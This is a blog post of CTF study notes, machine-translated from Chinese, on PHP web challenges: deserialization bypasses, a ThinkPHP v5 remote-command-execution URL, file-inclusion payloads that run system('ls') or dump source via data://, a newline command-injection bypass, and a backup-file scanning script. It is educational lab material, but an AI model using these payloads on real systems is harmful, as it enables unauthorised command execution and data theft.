当前位置:网站首页>Notes on PHP penetration test topics
Notes on PHP penetration test topics
2022-07-07 08:06:00 【Zeker62】
List of articles
- The simplest deserialization vulnerability
- Trap question PHP Deserialization vulnerability
- PHP Magic method execution sequence
- CTFHub-2020 WANGDING cup AreUSerialz
- Attack and defend the world :unserialize3 title
- Attack and defend the world :PHP2
- Attack and defend the world :favorite_number
- Attack and defend the world :Web_php_unserialize
- Attack and defend the world :php_rce
- Attack and defend the world :Web_php_include
- CTFHub: The source code of the website is leaked
- CTFHub:vim Cache leaks
- CTFHub:.DS_Store Let the cat out of the
The simplest deserialization vulnerability
Simple example , Here is a list of simple PHP Code ,index.php It contains flag.php This file
<?php
// Turn off error reporting
error_reporting(0);
include "flag.php";
$key="020202";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
echo "$flag";
}
show_source(__FILE__);
//show_source() Function to highlight the syntax of the file .
?>
flag.php The contents of the document are as follows
<?php
$flag="flag{020202020020}"
?>
Logical explanation : When passed URL Pass parameters to str variable , If the passed variable Deserialization Come out with "$key" identical ( Three equal signs ), Then output flag.php Inside flag Parameter contents , So it can be URL Input in :
http://127.0.0.1/web/serialize/index.php?str=s:6:"22020202";
It's not sure what form the serialized string is , You can try it in online tools
<?php
$key=020202;
echo serialize($key);
?>
// i:8322;
Trap question PHP Deserialization vulnerability
The following is a trap of deserialization vulnerability CTF subject
<?php
error_reporting(0);
// Hide the error content
include("flag.php");
$cookie=$_COOKIE['Bob'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}elseif(unserialize($cookie)==="$key"){
echo "$flag";
}else{
$key="123456";
}
?>
You can see that from the code , Code acquisition Bob Of cookie Content , Then with key Compare elements , If the contents are the same after deserialization , The output flag, But there are two pitfalls :
- In infiltration , Only the input
?hint=Will show the source code , The following content will not be implemented , namelyhint Only when the value exists will the source code be displayed , But once you show the source code , The following content will not be executed - Trap of code execution sequence ,
key The value of is only in else It will be assigned under , So before and cookie The compared value is null
According to the content , The correct solution of this problem is modified cookie Content :
Cookie: Bob=s:0:"";
PHP Magic method execution sequence
__construct(), Class constructor
__destruct(), Destructor of class
__call(), Called when an invocable method is invoked in an object
__callStatic(), Call in an static way when an invocable method is called
__get(), Call when you get a member variable of a class
__set(), Called when setting a member variable of a class
__isset(), When called on an inaccessible property isset() or empty() Called when the
__unset(), When called on an inaccessible property unset() When called .
__sleep(), perform serialize() when , This function will be called first
__wakeup(), perform unserialize() when , This function will be called first
__toString(), The response method when a class is treated as a string
__invoke(), The response method when an object is called by calling a function
__set_state(), call var_export() When exporting a class , This static method will be called .
__clone(), Called when the object copy is complete
__autoload(), Trying to load an undefined class
__debugInfo(), Print the required debug information
Example
For example, the following code execution sequence
<?php
error_reporting(0);
class ABC{
public $test;
function __construct(){
$test=1;
echo " The constructor is called <br>";
}
function __destruct(){
echo " Destructor called <br>";
}
function __wakeup(){
echo " The wake-up function was called <br>";
}
}
echo " Create objects a<br>";
$a=new ABC();
echo " serialize <br>";
$a_ser=serialize($a);
echo " Deserialization <br>";
$a_unser=unserialize($a_ser);
echo " The object is dying ";
// Create objects a
// The constructor is called
// serialize
// Deserialization
// The wake-up function was called
// The object is dying and the destructor is called
// Destructor called
CTFHub-2020 WANGDING cup AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{
'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
Code logic :
- Pass in the parameter str, Convert it to string type , Judge whether it is ASCII stay 32 To 125 Content between
Deserialization str ParametersBefore , Automatically call__wakeup()Magic methods- Call destructor
__destruct()If op Parameter is “2”, Is automatically converted to “1”, take content Convert to “”, And callprocess()function - stay
process()Function to determine op To determine the reading and writing , That is, read and outputflag.phpThe value in
How to solve the problem :
There is a deserialization function
unserialize(), It means that you need to pass in serialization parametersThere is a filter in the destructor , You can use
===and==To bypass the differencesYou need to be familiar with the calling sequence of magic functions , namely
__wakeup() -> unserialize() -> __destruct()Execute code :
<?php class FileHandler{ protected $op=' 2'; // Bypass detection protected $filename="flag.php"; protected $content="yzp"; } $flag=new FileHandler(); $flag_1=serialize($flag); echo $flag_1; ?>Get the serialized string
O:11:"FileHandler":3:{ s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"yzp";}Last in URL Upload the parameters
summary :
The comparison of strong and weak types is a bypass PHP The method of detection ,== Only compare values, not types ,=== Yes, the type and value must be the same
Besides , The calling sequence of magic methods needs to be carefully mastered
Attack and defend the world :unserialize3 title
Original title 
Problem solving :
- Pass for reference code
- If magic method
__wakeup()Being called will cause the program to exit
The key :
- Calling the deserialization magic method __unserialize() It will call
__wakeup()Magic methods - Wrong serialization code can prevent
__wakeup()Call to
Generate serialization code
<?php
class xctf{
public $flag='111';
}
$flag=new xctf;
$str=serialize($flag);
echo $str;
?>
O:4:"xctf":1:{
s:4:"flag";s:3:"111";}
Just change the number , Wrong serialization is ok , such as :
O:4:"xctf":2:{
s:4:"flag";s:3:"111";}
flag Can generate
Attack and defend the world :PHP2
Search by directory violence , eureka index.phps file , The title of the content is source code
title 
The key :
- The browser will do it by itself URL The decoding
- Then the code will proceed URL decode
- So it takes two times URL encode
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
Attack and defend the world :favorite_number
Topic analysis :
The key :
- Array overflow vulnerability : At this time, the structure 4294967296 That is to say 0, In other words, it can be considered that
stuff[0]=stuff[4294967296], So bypassing the first layer of filtering can be :stuff[4294967296]=admin&stuff[1]=user - m It represents multi line matching , therefore , As long as the first line matches successfully , The subsequent content will no longer match
%0aIt is carriage return transcoding , So you can pass parameters ` num=6666%0a ls - The last layer of filtering is to prevent malicious code , But you can use inode Code ,
ls -i /tac `find / -inum [inode Code ]`
Naturally, there are other ways , Baidu
Attack and defend the world :Web_php_unserialize
title 
The key to solving the problem is :
- Regular expression filtering , have access to
O:+4:"Demo"Instead ofO:4:"Demo". - base64 Decoding of means that the incoming data must be base64 code
- Not allow
__wakeup()The execution method of magic method is the serialization of incoming errors , such asO:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Pit point ( Baidu ):
there file Variables are private variables , So after serialization There is a blank character at the beginning and end of the string ( namely %00), The string length is also larger than the actual length 2, If the serialization result is copied to the online base64 If you encode your website, you may lose white space characters , So it's directly in here php Code in the code . Similar to that protected Variable of type , After serialization, the first part of the string will be added %00*%00
Generation script
<?php
class Demo{
private $file='fl4g.php';
}
$f=new Demo();
$b=serialize($f);
$b=str_replace('O:4', 'O:+4', $b)
$b=str_replace('1:{','2:{',$b)
echo base64_encode($b)
?>
Attack and defend the world :php_rce

Problem solving :
- Use dirsearch And the sword , Sweep it out robots.txt , But there is nothing critical in the content
- Baidu ThinkPHPV5 Loopholes in the framework , A remote command execution vulnerability is found payload have access to :
http://your-ip:8080?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[your-cmd]
Infiltration process :

Attack and defend the world :Web_php_include

The key to solving the problem is :
- Out of commission php:// Pseudo protocol penetration
- find flag File contains
solution 1:SSRF+ File contains
- page Parameters will contain values , Because of the problem of authority , We can't direct to hello Pass parameters and execute PHP Code
- Give Way page contain
http://127.0.0.1/index.php - Pass parameters
hello=<?system('ls');?>( No <?php ?>) Search for flag file - Last read flag file
payload
http://your-ip:8080?page=http://127.0.0.1/index.php?hello=<?system('ls');?>
http://your-ip:8080?page=http://127.0.0.1/index.php?hello=<?show_source('fl4gisisish3r3.php');?>
solution 2:PHP Fake protocol data://text/plain
Output the current directory path
http://111.200.241.244:58702/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
Output the contents of the current directory file :
http://111.200.241.244:58702/?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
Output source code
http://111.200.241.244:58702/?page=data://text/plain,<?php show_source('fl4gisisish3r3.php');?>
You can also use base64 In the form of ,+ Number to use URL Code to %2b
http://111.200.241.244:58702/?page=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsNGdpc2lzaXNoM3IzLnBocCcpOz8%2b

CTFHub: The source code of the website is leaked
Use script to crack :
import requests
url="http://challenge-7e05b5df83247052.sandbox.ctfhub.com:10800"
frist=['web','website','backup','back','www','wwwroot','temp']
secound=['.tar','.tar.gz','.zip','.rar']
for i in frist:
for j in secound:
url_test=url+"/"+i+j
print(url_test)
r=requests.get(url_test)
r.encoding='utf-8'
get_file=r.text
if '404' not in get_file:
print(get_file)
CTFHub:vim Cache leaks
such as index.php Use vim There will be left when .index.php.swp Postfix file ( There's a point in front )
Restore cache file :
vim -r index.php.swp
CTFHub:.DS_Store Let the cat out of the
.DS_Store yes Mac OS A hidden file that saves the custom properties of a folder . adopt .DS_Store You can know everything in this directory List of documents .
Usage method : stay Linux Directly inside cat
Tools :ds_store_exp https://github.com/lijiejie/ds_store_exp
Recursively generate files ,python2
边栏推荐
- Numbers that appear only once
- Roulette chart 2 - writing of roulette chart code
- 【踩坑系列】uniapp之h5 跨域的问题
- padavan手动安装php
- Codeforce c.strange test and acwing
- Pytest+allure+jenkins installation problem: pytest: error: unrecognized arguments: --alluredir
- Pytorch(六) —— 模型调优tricks
- Binary tree and heap building in C language
- Recursive method to construct binary tree from preorder and inorder traversal sequence
- Linux server development, MySQL process control statement
猜你喜欢

Linux server development, MySQL index principle and optimization

2022制冷与空调设备运行操作复训题库及答案

Ansible

Quickly use Jacobo code coverage statistics

Introduction to basic components of wechat applet

Avatary的LiveDriver试用体验

These five fishing artifacts are too hot! Programmer: I know, delete it quickly!

【数字IC验证快速入门】14、SystemVerilog学习之基本语法1(数组、队列、结构体、枚举、字符串...内含实践练习)

2022 Inner Mongolia latest advanced fire facility operator simulation examination question bank and answers

Myabtis_Plus
随机推荐
C language flight booking system
Who has docker to install MySQL locally?
Zsh shell adds automatic completion and syntax highlighting
paddlepaddle 29 无模型定义代码下动态修改网络结构(relu变prelu,conv2d变conv3d,2d语义分割模型改为3d语义分割模型)
[UVM foundation] what is transaction
Shell 脚本的替换功能实现
[quickstart to Digital IC Validation] 15. Basic syntax for SystemVerilog Learning 2 (operator, type conversion, loop, Task / Function... Including practical exercises)
C language communication travel card background system
2022制冷与空调设备运行操作复训题库及答案
Bugku CTF daily one question chessboard with only black chess
Relevant data of current limiting
B. Value sequence thinking
Search for an element in a binary search tree (BST)
CTF daily question day43 rsa5
QT learning 26 integrated example of layout management
央视太暖心了,手把手教你写HR最喜欢的简历
Wechat applet data binding multiple data
【VHDL 并行语句执行】
Binary tree and heap building in C language
基于Pytorch 框架手动完成线性回归